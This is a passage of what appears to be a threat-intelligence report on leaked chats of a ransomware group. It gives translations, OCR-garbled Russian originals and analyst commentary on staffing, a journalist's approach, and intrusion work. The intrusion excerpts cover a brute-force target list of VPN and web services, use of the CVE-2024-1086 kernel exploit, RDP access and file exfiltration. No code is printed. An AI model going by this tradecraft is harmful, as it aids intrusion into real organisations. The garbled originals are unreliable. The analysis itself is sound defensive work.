@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
AyMaellb BCe Ha O4HOM ZlOMeHe? NOoAAOMEHbI
CMOTPHO CAeNnaHbl

2024-04-19 10:38:18,
@lapa:matrix.bestflowers247.online, T.e ckopee
cepBepa Ta pasHble byayT

2024-04-19 10:38:25,
@lapa:matrix.bestflowers247.online, nagHo,
nonpobyto, 3abaoyat Tak 3absouat

2024-04-19 10:39:11,
@lapa:matrix.bestflowers247.online, kak s noHsA,
4acTo o4eHb caenatb {[logaoMeH KOMaHWK
2024-04-19 10:39:33,
@lapa:matrix.bestflowers247.online, no Takomy
NPVHLMNY S HaBepHOe 1 cobepy MblIO M Nacc
2024-04-19 10:44:27,
@usernamegg:matrix.bestflowers247.online,
rnaBHOE Ha BbIXW1 MOCTaBb BCe cobMpaTb AOCTYnMbl
2024-04-19 10:44:35,
@usernamegg:matrix.bestflowers247.online, n
MeJIK1e TOXe YTO Obl B MH Mbl HE BCTaAMN A0 HOUM
2024-04-19 10:44:41,
@usernamegg:matrix.bestflowers247.online, a 1o
BOT Celyac BCe NPOCMOTPENN HUYEro HeT
2024-04-19 10:44:47,
@usernamegg:matrix.bestflowers247.online, yxe
He 3Hato YTOo Aenatb

gg instructs "collecting all access information” by the weekend, hastening initial access acquisition needed for

persistent intrusion toward Monday activities. However, expressions revealing resignation-like sentiments
demonstrate frustration from situations lacking expected results.
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Stagnation and Exploration of New Strategies

Translated

2024-05-13 21:15:19, @nickolas:talks.icu, I'm racking
my brain how to do better

2024-05-13 21:15:27,
@usernamegg:matrix.bestflowers247.online, what
2024-05-13 21:15:29, @nickolas:talks.icu, | don't
know, somehow tight on ideas today, except phishing
2024-05-13 21:15:50, @nickolas:talks.icu, well to
improve the whole scheme so it brings targets
steadily.

2024-05-13 21:16:13,
@usernamegg:matrix.bestflowers247.online, well
everything's fine as is

2024-05-13 21:16:18,
@usernamegg:matrix.bestflowers247.online, just need
to take a different sector

2024-05-13 21:16:23,
@usernamegg:matrix.bestflowers247.online, today's
empty

Original Text

2024-05-13 21:15:19, @nickolas:talks.icu, ronosy
NIOMato, KaK caenatb yylle

2024-05-13 21:15:27,
@usernamegg:matrix.bestflowers247.online, uto
2024-05-13 21:15:29, @nickolas:talks.icu, He 3Hato,
YeT TYro CerogHs ¢ naeamu, Kpome GuLLnHra
2024-05-13 21:15:50, @nickolas:talks.icu, Hy cxemy
BCHO YNyYLINTb, YTO Bbl CTabUAbHO HECNOo Lenw.
2024-05-13 21:16:13,
@usernamegg:matrix.bestflowers247.online, Hy Bce
XOPOLLO ¥ TaK

2024-05-13 21:16:18,
@usernamegg:matrix.bestflowers247.online, npocto
CEKTOP APYrom Hy>HO bpaTb

2024-05-13 21:16:23,
@usernamegg:matrix.bestflowers247.online, cerogHs
nycTo

This conversation reveals nickolas feeling limitations with current work content, particularly showing stagnant

thinking about effective tactics beyond phishing. This suggests underdeveloped systems for maintaining stable

organizational results or existing methods reaching plateaus. While gg expresses satisfaction with current

outcomes, he proposes target sector review, also showing reflective stance following that day's

miss."
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|4.4 Other Notable Exchanges

Members exchanged discussions about technical skill evaluations, lifestyle consultations, compensation debates,
and external collaborator transactions. Compensation distribution sparked dissatisfaction over unfairness,
revealing organizational conflicts. However, information sharing and coordination functioned during attack
execution, maintaining systems for continued organizational operations.

Topics Involving Personal Matters

gg’'s Rejection of Personal Requests during Work Hours

Translated

2023-10-03 10:52:26,
@usernamezz:matrix.bestflowers247.online, can | get
permission to go home while there's nothing, to
return the air purifier? | bought an air purifier, but it
seems defective. | wrote to them on weekends. now
they're bothering me press here, press there
2023-10-03 10:52:43,
@usernamezz:matrix.bestflowers247.online, I'll come
back as soon as I'm done

2023-10-03 10:53:08,
@usernamegg:matrix.bestflowers247.online, arrange
it for the weekend

2023-10-03 10:53:15,
@usernamegg:matrix.bestflowers247.online, or send a
driver

2023-10-03 10:53:21,
@usernamegg:matrix.bestflowers247.online, there
could be work at any moment now

2023-10-03 10:53:25,
@usernamegg:matrix.bestflowers247.online, I'm
preparing

2023-10-03 10:53:32,
@usernamezz:matrix.bestflowers247.online, ok,
understood

2023-10-03 10:53:38,
@usernamezz:matrix.bestflowers247.online, no more
questions

2023-10-03 10:53:54,
@usernamegg:matrix.bestflowers247.online, you have
work, | have work, there's nothing at night, go out, |
don't mind but be at your workplaces during the day
2023-10-03 10:54:14,
@usernamezz:matrix.bestflowers247.online, good,
understood everything

Original Text

2023-10-03 10:52:26,
@usernamezz:matrix.bestflowers247.online, MoxHo
OTNPOCKTLCH, MOKa HUYErO HET A0 JOMa CrOHATL?
KyMNWA OYNCTUTENb BO3AYXa, @ OH NOXoay
H6pakoBaHHbIN. HaMMcan UM Ha BbIXOZAHbIX. OHW Lac
MeHs 3aebbIBatoT HaXXMUTE TyAa, HaXKMuTe croaa
2023-10-03 10:52:43,
@usernamezz:matrix.bestflowers247.online, kak
cAenato cpasy obpaTHO

2023-10-03 10:53:08,
@usernamegg:matrix.bestflowers247.online,
[OrOBOPUCH Ha BbIXOAHbIE

2023-10-03 10:53:15,
@usernamegg:matrix.bestflowers247.online, nan
OTMNpaBb BOAUTENS

2023-10-03 10:53:21,
@usernamegg:matrix.bestflowers247.online, B nto6oM
MOMEHT MOXeT BbITb paboTa ceiyac

2023-10-03 10:53:25,
@usernamegg:matrix.bestflowers247.online, s
HacTpanBatoCh

2023-10-03 10:53:32,
@usernamezz:matrix.bestflowers247.online, ok, noHsn
2023-10-03 10:53:38,
@usernamezz:matrix.bestflowers247.online,
BOMNPOCOB 60/blUe HeT

2023-10-03 10:53:54,
@usernamegg:matrix.bestflowers247.online, y Bac
paboTa” y MeHs paboTa” HOUbIO HETy Aes, rynsunTe s
He NPOTMB HO AHeM byabTe Ha pabounx MecTax
2023-10-03 10:54:14,
@usernamezz:matrix.bestflowers247.online, go6po,
BCE MOHAN
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This conversation shows zz requesting temporary leave for personal matters, meeting immediate rejection from

gg. gg states "work could come in anytime now," emphasizing organizational readiness as top priority and taking

strict stance against personal activities during operations. While zz shows understanding, the response "won't

ask anything anymore" appears somewhat emotional, exposing hierarchical tensions and communication

temperature differences.

Absence for Personal Reasons and Apology

Translated

2024-03-28 07:53:51,
@cob_crypt_ward:matrix.bestflowers247.online, hello,
sorry for being absent

2024-03-28 07:54:02,
@cob_crypt_ward:matrix.bestflowers247.online, there
were family problems in irl

2024-03-28 07:54:19,
@cob_crypt_ward:matrix.bestflowers247.online, >
<@cob_crypt_ward:matrix.bestflowers247.online>
hello, sorry for being absent do you need X867
2024-03-31 20:06:48,
@cob_crypt_ward:matrix.bestflowers247.online, hello,
did you manage to test my builds?

2024-03-31 20:07:05,
@cob_crypt_ward:matrix.bestflowers247.online, sorry
once again for the long absence

Original Text

2024-03-28 07:53:51,
@cob_crypt_ward:matrix.bestflowers247.online,
NpuBET, NPOCTU 3a OTCYTCTBME

2024-03-28 07:54:02,
@cob_crypt_ward:matrix.bestflowers247.online,
6blAn cemeliHble NpobaemMbl B NP

2024-03-28 07:54:19,
@cob_crypt_ward:matrix.bestflowers247.online, >
<@cob_crypt_ward:matrix.bestflowers247.online>
NpuWBeT, NPOCTN 3a OTCYTCTBME HY>XXHbI X867
2024-03-31 20:06:48,
@cob_crypt_ward:matrix.bestflowers247.online,
NPWBET, YAaN0Ch NPOTECTUPOBATL MOU GUAbI?
2024-03-31 20:07:05,
@cob_crypt_ward:matrix.bestflowers247.online,
W3BUHW MOXaNyncTa eLle pa3 3a OTCTYTCBUE A0Jroe

This conversation shows cob_crypt ward citing "family problems" as reason for temporary absence, frankly
explaining how real-world circumstances affect digital domain activities. While demonstrating continued work
engagement desire and showing responsibility and sincerity, repeated apologies and detailed personal

explanations could indicate guilt over absence, anxiety about unfulfilled responsibilities, and constrained

emotions from not wanting to damage team standing.

137



Hesitant Request for New Year Leave

Translated

2024-01-01 15:56:01,
@cob_crypt_ward:matrix.bestflowers247.online, is it
very scary if | ask for three days off?

2024-01-01 15:56:07,
@cob_crypt_ward:matrix.bestflowers247.online, for
today, tomorrow and the day after?

2024-01-01 15:56:16,
@cob_crypt_ward:matrix.bestflowers247.online, |
need to go to another city, I'll be on the train
constantly

2024-01-01 15:56:27,
@cob_crypt_ward:matrix.bestflowers247.online, and
today I'm spending time with family

2024-01-02 09:14:18,
@usernamegg:matrix.bestflowers247.online, rest
2024-01-02 09:14:20,
@usernamegg:matrix.bestflowers247.online, New
Year

2024-01-02 09:14:27,
@usernamegg:matrix.bestflowers247.online, until the
3rd peacefully

2024-01-02 21:41:41,
@cob_crypt_ward:matrix.bestflowers247.online,
thanks

Original Text

2024-01-01 15:56:01,
@cob_crypt_ward:matrix.bestflowers247.online, cnnbHo
CTPALLHO, eCNN A MONPOLLY BbIXOAHbIE Ha TPW AHAT?
2024-01-01 15:56:07,
@cob_crypt_ward:matrix.bestflowers247.online, Ha
CerofHs, 3aBTpa 1 nocnesaBtpa?

2024-01-01 15:56:16,
@cob_crypt_ward:matrix.bestflowers247.online, mHe
HY>XHO B pYrol ropoj exatb, byay B noesge
NMOCTOSHHO

2024-01-01 15:56:27,
@cob_crypt_ward:matrix.bestflowers247.online, a
CEerofHs C CEMbei Bpems npoBOXY

2024-01-02 09:14:18,
@usernamegg:matrix.bestflowers247.online, otapbixar
2024-01-02 09:14:20,
@usernamegg:matrix.bestflowers247.online, HoBbI
rog

2024-01-02 09:14:27,
@usernamegg:matrix.bestflowers247.online, go 3ro
CMOKOMHO

2024-01-02 21:41:41,
@cob_crypt_ward:matrix.bestflowers247.online,
cnacnbkm

This conversation shows cob_crypt ward cautiously requesting three-day New Year vacation leave, with writing
style and tone revealing consideration and guilt about "not wanting to cause trouble.” In response, gg

demonstrates flexible handling considering the New Year timing, reducing psychological burden by encouraging
"take rest without worry." cob_crypt ward's cautious phrasing reveals attitudes fearing damaged evaluation and

constrained emotions.
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Transition from Work to Vacation

Translated

2024-04-26 10:17:04,
@usernamegg:matrix.bestflowers247.online, I'll do it
from another one

[omitted]

2024-04-26 10:18:13,
@n3auxaxl:matrix.collectionofmanager.space, |
already closed the process

2024-04-26 16:00:21,
@n3auxaxl:matrix.collectionofmanager.space, brother,
I'm going to rest now

2024-04-26 16:00:25,
@n3auxaxl:matrix.collectionofmanager.space, I'll be in
touch on Sunday

2024-04-26 16:00:32,
@n3auxaxl:matrix.collectionofmanager.space, | want
to rest on Saturday

2024-04-26 16:01:27,
@n3auxaxl:matrix.collectionofmanager.space, have a
good evening and weekend!

Original Text

2024-04-26 10:17:04,
@usernamegg:matrix.bestflowers247.online, s ot
Apyrov caenaro

[omitted]

2024-04-26 10:18:13,
@n3auxaxl:matrix.collectionofmanager.space, s
3aKpbla yXe npou,

2024-04-26 16:00:21,
@n3auxaxl:matrix.collectionofmanager.space, 6pareu,
Nouay y>e OTAbIXaTb

2024-04-26 16:00:25,
@n3auxaxl:matrix.collectionofmanager.space, byay Ha
csasm B BC

2024-04-26 16:00:32,
@n3auxaxl:matrix.collectionofmanager.space, xouy B
cy660Ty OTAOXHYTb

2024-04-26 16:01:27,
@n3auxaxl:matrix.collectionofmanager.space,
XopoLlero Beyepa 1 BbIXOAHbIX!

n3auxaxl clearly states "want Saturday off" and "available for contact on Sunday," demonstrating attitude of
maintaining availability without abandoning assigned work. This conversation establishes work content

adjustments with psychological flexibility, reflecting healthy operational systems where work completion and

vacation acquisition proceed without issues.

Cyberattack Discussions

Reflections on Changed Times and Technological Adaptation

Translated

2024-05-22 09:33:53, @nickolas:talks.icu, It's gotten
much more difficult, very much. It used to be
nothing )

2024-05-22 09:33:55,
@usernamegg:matrix.bestflowers247.online, the
complexity is still growing

2024-05-22 09:34:00,
@usernamegg:matrix.bestflowers247.online, year
2024 brother

2024-05-22 09:34:06,
@usernamegg:matrix.bestflowers247.online, they've
learned many things there

2024-05-22 09:34:06, @nickolas:talks.icu, fucking
year!

2024-05-22 09:34:10, @nickolas:talks.icu, really

Original Text

2024-05-22 09:33:53, @nickolas:talks.icu, CnoxHo
CUJIbHO BbIPOC/IA, CUIbHO O4YeHb. PaHbLuie 6bi1a
BOOOLLE HUTHS )

2024-05-22 09:33:55,
@usernamegg:matrix.bestflowers247.online,
CIOXHOCTb PacTeT elle

2024-05-22 09:34:00,
@usernamegg:matrix.bestflowers247.online, 2024 rog
6paTnLLka

2024-05-22 09:34:06,
@usernamegg:matrix.bestflowers247.online, oHn Tam
HayuYuIMCb MHOTVM BeLLam

2024-05-22 09:34:06, @nickolas:talks.icu, e6aHHbIN
roa!
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fucking year)

2024-05-22 09:34:24, @nickolas:talks.icu, for me it
went wrong from the first days of the year )
2024-05-22 09:34:39,
@usernamegg:matrix.bestflowers247.online, I'm not
talking about what year it is but about the times when
we started and how everything is set up now
2024-05-22 09:35:04, @nickolas:talks.icu, well 2020 vs
2024, of course, the difference is huge, but we're not
standing still either.

2024-05-22 09:35:16,
@usernamegg:matrix.bestflowers247.online, that's
true

2024-05-22 09:35:22, @nickolas:talks.icu, if only we
had our current skills in 2020 =)

2024-05-22 09:35:32, @nickolas:talks.icu, that would
have been fucking something :)

2024-05-22 09:35:55,
@usernamegg:matrix.bestflowers247.online, it's
always like that)

2024-05-22 09:36:00,
@usernamegg:matrix.bestflowers247.online, | would
have fucked them all

2024-05-22 09:36:03,
@usernamegg:matrix.bestflowers247.online, the
wallet would have burst

2024-05-22 09:36:03, @nickolas:talks.icu, | agree)
2024-05-22 09:36:35, @nickolas:talks.icu, We just
need to look for alternatives...

2024-05-22 09:36:43, @nickolas:talks.icu, The entry
barrier to all kinds of hacks is just getting higher
2024-05-22 09:37:08,
@usernamegg:matrix.bestflowers247.online, need to
find where to hit to get in

2024-05-22 09:34:10, @nickolas:talks.icu, BOT peanbHO
ebaHHbIN )

2024-05-22 09:34:24, @nickolas:talks.icu, y meHs OH ¢
nepBbIX AHEN roja He 3anaanaca )

2024-05-22 09:34:39,
@usernamegg:matrix.bestflowers247.online, s He
TOMY KaKOW rog, fi K TOMy UTO BPEMEHW KOraa Mbl
HauMHaAW 1 Kak BCe celyac yCTpPOeHo

2024-05-22 09:35:04, @nickolas:talks.icu, Hy 2020
npoTme 2024, KOHEYHO, pa3HKMLLA OFPOMHas, HO N Mbl
He CTOMM Ha MecTe TOXe.

2024-05-22 09:35:16,
@usernamegg:matrix.bestflowers247.online, 310 aa
2024-05-22 09:35:22, @nickolas:talks.icu, BOT HaLm
6bl TekyLme HaBbiky, Aa B 2020 rog =)

2024-05-22 09:35:32, @nickolas:talks.icu, nn3ge, 6bi
yero 6b1J10 )

2024-05-22 09:35:55,
@usernamegg:matrix.bestflowers247.online, Tak
Bceraa)

2024-05-22 09:36:00,
@usernamegg:matrix.bestflowers247.online, s 661 nx
B POT BCeX Bbleban

2024-05-22 09:36:03,
@usernamegg:matrix.bestflowers247.online, kowenek
6bl JIOMHYA

2024-05-22 09:36:03, @nickolas:talks.icu, cornacen )
2024-05-22 09:36:35, @nickolas:talks.icu, Hago
NPOCTO UCKaTb aNbTePHATMBBI...

2024-05-22 09:36:43, @nickolas:talks.icu, Mopor
BXOZa BO BCAKME B3/IOMbl MPOCTO MOBbILIAETCS
2024-05-22 09:37:08,
@usernamegg:matrix.bestflowers247.online, Hy>xHO
HanTu KyAa 6uTb UTo HbI 3aNTK

This conversation shows gg and nickolas sharing recognition that operational activity difficulty has significantly

increased compared to past conditions. They contrast 2020 and 2024 environments, acknowledging drastically

enhanced authority and defensive capabilities while stating self-assessments of their own technical evolution.

Nostalgic tones and ironic laughter reveal frustration about traditional methods becoming ineffective. Ultimately,

they reach consensus that exploring new intrusion vectors represents the future focus.
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DDoS Attack Impact and Recovery

Translated

2024-05-29 13:31:49,
@usernameyy:matrix.bestflowers247.online, the blog
is being DDoSed very heavily by the way
2024-05-29 13:32:30,
@usernamegg:matrix.bestflowers247.online,
<Masked: IP Address> restored

2024-05-29 16:27:46,

@usernameyy:matrix.bestflowers247.online, <Masked:

IP Address> server is not working

2024-05-29 16:28:13,
@usernameyy:matrix.bestflowers247.online, proxy,
should work

2024-05-29 16:30:03,
@usernamegg:matrix.bestflowers247.online, now
2024-05-29 17:01:09,
@usernamegg:matrix.bestflowers247.online,
photo_2024-05-29 20.01.00.jpeg

2024-05-29 17:01:10,
@usernamegg:matrix.bestflowers247.online, it's
working there's connection it's active. it didn't shut
down since | restored it

Original Text

2024-05-29 13:31:49,
@usernameyy:matrix.bestflowers247.online, 610r
KCTaTW OY€Hb CUNbHO AAOCAT

2024-05-29 13:32:30,
@usernamegg:matrix.bestflowers247.online,
<Masked: IP Address> BBOCTaHOB/IEH

2024-05-29 16:27:46,
@usernameyy:matrix.bestflowers247.online, <Masked:
IP Address> cepBep He paboTaeTt

2024-05-29 16:28:13,
@usernameyy:matrix.bestflowers247.online,
npoknazka, JomkHa paboTtaTb

2024-05-29 16:30:03,
@usernamegg:matrix.bestflowers247.online, ceiuac
2024-05-29 17:01:09,
@usernamegg:matrix.bestflowers247.online,
photo_2024-05-29 20.01.00.jpeg

2024-05-29 17:01:10,
@usernamegg:matrix.bestflowers247.online, pabotaet
KOHHEKT eCTb aKTVBHa. He BblK/HoYanach Kak
BBOCTaHOBW

This conversation shows yy reporting DDoS attacks on the blog and identifying specific server outages.
Meanwhile, gg quickly communicates recovery intentions while immediately initiating additional responses. Real-
time information sharing and recovery decisions against external DDoS interference demonstrate established
infrastructure maintenance capabilities and operational systems.

141



Journalist Contact and Internal Responses

Translated

2024-03-01 08:27:20,
@usernamegg:matrix.bestflowers247.online, Hello. |
host a German podcast and would like to know if you
could answer 5 questions for me in .txt format as an
interview? | want to show people a deeper look into
the life of one of the biggest Threat Actors. - How do
you feel about ALPHV and LockBit recently being
taken down by the FBI? - Would you say that you can
easily get rich by learning to code, writing a suitable
encryptor and joining the ransomware business? - Do
you worry about your life or safety when you go out?
Are you afraid of being caught by feds/FBI? Or do you
live a relaxed life, with money and no worries. - Are
there any ethical principles you follow? When | talked
to LockBit, he told me he cares about hospitals. - Is
there any advice you would like to give people?
Translated with DeepL.com (free version)

2024-03-01 08:27:32, @usernamegg:
matrix.bestflowers247.online, a journalist writes to us
in private

2024-03-01 08:29:02, @usernamecc:
matrix.bestflowers247.online, ) yes | understood! and
what do you think? give an interview?

2024-03-01 08:29: 20, @usernamegg:
matrix.bestflowers247.online, no) but he touched on
all the questions that worry me the most

Original Text

2024-03-01 08:27:20,
@usernamegg:matrix.bestflowers247.online,
“3apaBcTByiiTe. A Begy HEMeELKMIA MOAKACT U XOTe Obl
y3HaTb, He MOr/n Bbl Bbl OTBETUTL MHE Ha 5 Bonpocos
B dpopmare .txt B KauecTBe UHTEPBbLIO? A XOuy
nokasaTb NtoaAM 6onee rnybokui B3rnsg Ha XnsHb
oAHoro n3 kpynHenwmx Threat Actor. - Kak Bbl
oTHOCUTECh K Tomy, uto ALPHV n LockBit HegaBHO
6b1n pasrpomMaeHbl PBP? - Moran 6bl Bbl ckasaTb,
4YTO MOXHO Nerko pasborateTb, HayUMBLLINCb KOAUTD,
HanucaB NOAXOAALLMA WNGPOBANbLLKK N
NPUCOeANHMBLLNCE K B3HECY MO NPOU3BOACTBY
BbikyrnHoro 0O? - becnokonTech AN Bbl O CBOEN
XKW3HM Uan 6e30NacHOCTY, KOrAa BbIXOAUTE Ha yauLy?
BowvTeck v Bbl 6bITb NOVIMaHHbIM degepanamun/PbP?
Nnwn Bbl XuBeTe paccnabaeHHOM XMU3HbHO, C AeHbramMmm
1 6e3 3a60T. - EcTb NN Kakme-To 3Tuyeckune
NPVHLMMNbI, KOTOPbIX Bbl NpuaepxunsaeTtecs? Koraa a
pa3roBapwvBan ¢ LockBit'om, oH ckazan MHe, UTO
3aboTnTCA 0 BoabHULAX. - ECTb M Kakon-HNBYAb
COBET, KOTOPbIN Bbl XOTENWN Obl AaTb JAHOAAM?
MNepeBeaeHo c nomoLbto Deepl.com (becnnatHas
Bepcusa)

2024-03-01 08:27:32,
@usernamegg:matrix.bestflowers247.online, B andky
HaM MUYLLET XXypHanncT

2024-03-01 08:29:02,
@usernamecc:matrix.bestflowers247.online, ) aa s
NoHAN! 1 UTO Thbl AyMaellb? AaTb UHTEPBbLIO?
2024-03-01 08:29:20,
@usernamegg:matrix.bestflowers247.online, HeT) HO
OH 3ajie/1 BCe Te BOMPOChl KOTOPble MeHs 6osbLue
Bcero 6ecnokosT

This conversation shows gg introducing an interview request from a German journalist, with questions
addressing FBI's dismantling of ALPHV and LockBit, ethics, fears, and lifestyles - probing the inner aspects of

operational members. Responding to cc’s inquiry, gg indicates concerns, suggesting the questions deeply

resonate personally.

This demonstrates members function not merely as practitioners but potentially harbor strong interests and

conflicts regarding their actions, impacts, ethics, and risks. External attention temporarily visualizes internal

psychology, creating valuable reaction records.
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Statements on Credential Stuffing Attacks

Translated

2024-01-30 16:55:04,
@usernamegg:matrix.bestflowers247.online, look at
the login password from him

2024-01-30 17:28:49,
@lapa:matrix.bestflowers247.online, you mean look
for email and password?

2024-01-30 17:29:07,
@lapa:matrix.bestflowers247.online, I'll start the
search soon

2024-01-30 17:31:23,
@usernamegg:matrix.bestflowers247.online, look for
email and password

2024-01-30 17:31:57,
@lapa:matrix.bestflowers247.online, started
2024-01-30 17:32:01,
@lapa:matrix.bestflowers247.online, I'll drop it when
it's finished

2024-01-30 17:32:07,
@usernamegg:matrix.bestflowers247.online, Brute:
Cisco Cisco Router RDWeb Citrix Global Protect Pulse
Secure FortiNet Big-IP OWA WordPress cPanel FTP

Original Text

2024-01-30 16:55:04,
@usernamegg:matrix.bestflowers247.online,
NMOCMOTPM IOTUH Macc OT Hero

2024-01-30 17:28:49,
@lapa:matrix.bestflowers247.online, B cMbicne Mbl1O
1 nacc nonckaTtb?

2024-01-30 17:29:07,
@lapa:matrix.bestflowers247.online, ckopo 3anyLy
nomck

2024-01-30 17:31:23,
@usernamegg:matrix.bestflowers247.online, Mbino n
nacc nouckatb

2024-01-30 17:31:57,
@lapa:matrix.bestflowers247.online, 3anyctun
2024-01-30 17:32:01,
@lapa:matrix.bestflowers247.online, cbpoLuy kak
3aKOHYMTCS

2024-01-30 17:32:07,
@usernamegg:matrix.bestflowers247.online, bpyT:
Cisco Cisco Router RDWeb Citrix Global Protect Pulse
Secure FortiNet Big-IP OWA WordPress cPanel FTP

This conversation shows gg explicitly instructing lapa to search for email addresses and passwords, with work
commencing immediately. Notably, the instruction concludes with enumerated service names (e.g., Cisco,
RDWeb, Citrix, Global Protect, FortiNet, WordPress, cPanel, FTP), listing these as deliberate attack targets. This
exchange strongly suggests preparation for intrusion attempts against multiple enterprise infrastructure systems
and VPN gateways, rather than simple information gathering.
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Interest in Deepfake Technology

Translated

2024-06-05 14:11:23,
@usernameugway:matrix.bestflowers247.online, >
draws a beautiful girl yes deepfakes are fucking
awesome

[omitted]

2024-06-05 16:03:33,
@usernameugway:matrix.bestflowers247.online, it
takes forever to load damn.

2024-06-05 16:03:40,
@usernameugway:matrix.bestflowers247.online, |
ordered a computer for deepfakes they'll bring it on
weekends

[omitted]

2024-06-13 19:26:45,
@usernameugway:matrix.bestflowers247.online,
when we finish the deepfakes the efficiency will
increase many times - that's one hundred percent
2024-06-13 19:26:54,
@usernameugway:matrix.bestflowers247.online,
anyway we'll discuss all this on Saturday - I'll tell you
the ideas

Original Text

2024-06-05 14:11:23,
@usernameugway:matrix.bestflowers247.online, >
TeNIKYy KpacvByo pucyeT Aa nNu3al Anndenky Tema
[omitted]

2024-06-05 16:03:33,
@usernameugway:matrix.bestflowers247.online, rpysunt
AONTO N,

2024-06-05 16:03:40,
@usernameugway:matrix.bestflowers247.online, komn
noa Anndenku A 3akasan Ha BbIX NPVBE3yT

[omitted]

2024-06-13 19:26:45,
@usernameugway:matrix.bestflowers247.online, korga
fogenaem anndenkn Kna BblpacTuT B pasbl - 3TO CTO
MPOLEHTOB

2024-06-13 19:26:54,
@usernameugway:matrix.bestflowers247.online, B
obuiem B cyb60Ty 3TO BCe 0BCYANM - pacckaxy naeu

This conversation reveals ugway strongly pursuing deepfake technology implementation, planning dedicated PC

orders and weekend strategy sharing. Statements like

"drawing beautiful girls" and "efficiency increases

tremendously" highly suggest deepfake positioning as a tool for visual and psychological manipulation.

Environmental preparations also progress to resolve technical constraints, indicating planned core utilization in

future operational activities.
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Sharing Reports on the Results of Unauthorized Access

Translated

2023-10-19 14:20:44,
@usernamess:matrix.bestflowers247.online, what to
do with Brazil?

2023-10-19 15:19:29,
@usernamess:matrix.bestflowers247.online, well
here's my mini report

[omitted]

2023-10-19 15:19:54,
@usernamegg:matrix.bestflowers247.online, you
checked all this?

2023-10-19 15:20:01,
@usernamess:matrix.bestflowers247.online, yes
2023-10-19 15:20:04,
@usernamess:matrix.bestflowers247.online, still
checking

2023-10-19 15:20:13,
@usernamegg:matrix.bestflowers247.online, you got
it well

2023-10-19 15:20:14,
@usernamess:matrix.bestflowers247.online, there's
RDP here

Original Text

2023-10-19 14:20:44,
@usernamess:matrix.bestflowers247.online, c
6pa3uavein uto fenatb?

2023-10-19 15:19:29,
@usernamess:matrix.bestflowers247.online, Hy BOT
MOW MWHW OTYEeT

[omitted]

2023-10-19 15:19:54,
@usernamegg:matrix.bestflowers247.online, Tl Bce
3TO YHKHYA?

2023-10-19 15:20:01,
@usernamess:matrix.bestflowers247.online, aa
2023-10-19 15:20:04,
@usernamess:matrix.bestflowers247.online, ewe
yekaro

2023-10-19 15:20:13,
@usernamegg:matrix.bestflowers247.online,
HOPMaJIbHO Tbl B35

2023-10-19 15:20:14,
@usernamess:matrix.bestflowers247.online, Tak Tyt
pAn Xe

This conversation shows ss submitting a "mini report” while reporting Brazil-related preparation status, indicating
ongoing target investigation and screening. The statement "because here it's RDP" particularly suggests the
target environment possesses Remote Desktop Protocol (RDP), evaluated as a low-difficulty intrusion vector.

Additionally, gg's immediate evaluation of investigative work reveals active division of labor and information

sharing within the team.
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Discussion of Constraints after Intrusion

Translated

2024-03-28 09:19:50,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
<Masked: URL> did you download?

2024-03-28 09:20:51,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> did
you download? yes, unpacking Linux kernels between
versions 5.14 and 6.6, Debian, Ubuntu. > * can it be
used on jenkins?

2024-03-28 09:22:23,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> CVE-
2024-1086 Linux LPE > * > Universal exploit for local
privilege escalation, working on most

2024-03-28 09:23:41,
@usernamegg:matrix.bestflowers247.online, yeah
2024-03-28 09:55:31,
@lapa:matrix.bestflowers247.online, but the jenkins
exploit can only read some file

2024-03-28 09:56:31,
@lapa:matrix.bestflowers247.online, i.e. it's unlikely to
be able to run a command there that would launch
this exploit for linux

2024-03-28 09:56:50,
@usernamegg:matrix.bestflowers247.online, that's
right

2024-03-28 09:56:54,
@usernamegg:matrix.bestflowers247.online, not full
access

Original Text

2024-03-28 09:19:50,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
<Masked: URL> ckavan?

2024-03-28 09:20:51,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
cKayan? aa, pacnokoBbIBaKO

TBe Agep Linux mexay Bepcuamu 5.14 1 6.6, Debian,
Ubuntu. > * Tvn ero Mo>xHo Ha jenkins
NCnoab30BaTh?

2024-03-28 09:22:23,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> CVE-
2024-1086 Linux LPE > * > YHMBepcanbHbI 3KCMIONT
A/191 NOBbILWEHWSA NOKabHbIX MPUBUAETUIA ,
paboTarowmii Ha 6oablHC2024-03-28 09:23:41,
@usernamegg:matrix.bestflowers247.online, ara
2024-03-28 09:55:31,
@lapa:matrix.bestflowers247.online, Ho 3kcniouT
jenkins TONbKO MOXET NpoumnTaTh Kakon-nnmbo dain
2024-03-28 09:56:31,
@lapa:matrix.bestflowers247.online, T.e. Bpaaam
NONYYUTCA TaM 3anyCcTuTb KOMaHAy, KoTopas 6bl 3TOT
3KCMNOUT A8 IMHYKCA 3anycTuna

2024-03-28 09:56:50,
@usernamegg:matrix.bestflowers247.online, 370 aa
2024-03-28 09:56:54,
@usernamegg:matrix.bestflowers247.online, He ¢yn
Aoctyn

This conversation shows gg and lapa sharing and verifying exploits related to Linux kernel privilege escalation

vulnerabilities. While the exploit reportedly targets general environments like Debian and Ubuntu as a universal
LPE (Local Privilege Escalation), lapa notes that Jenkins environments limit operations beyond file reading. This

indicates practical constraints where execution restrictions and Jenkins sandbox behavior prevent full access. gg

also agrees with this assessment, acknowledging limited effectiveness in such environments. The process reveals
practical evaluation of exploits intended for technical weaponization and calm analysis of environmental

constraints.
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Frustration over Security Software Preventing Unauthorized File Downloads

Translated

2024-05-21 08:04:57,
@usernamegg:matrix.bestflowers247.online, we need
to review the file extraction department

2024-05-21 08:05:12,
@usernamegg:matrix.bestflowers247.online, you
should head it

2024-05-21 08:05:25,
@usernameyy:matrix.bestflowers247.online, well then
I'll automate this business

2024-05-21 08:05:29,
@usernamegg:matrix.bestflowers247.online, and put
all our strength into constantly extracting files from
networks

2024-05-21 08:05:35,
@usernamegg:matrix.bestflowers247.online, soon
they won't let us download anything at all
2024-05-21 08:05:41,
@usernamegg:matrix.bestflowers247.online, more
and more problems with this

[omitted]

2024-05-21 08:06:37,
@usernamegg:matrix.bestflowers247.online, there's
some shit installed that doesn't let us download
2024-05-21 08:07:00,
@usernamegg:matrix.bestflowers247.online, any
servers, proxies, domains and everything necessary I'll
quickly make CC + TT

2024-05-21 08:07:13,
@usernameyy:matrix.bestflowers247.online, >

<@usernamegg:matrix.bestflowers247.online> there's
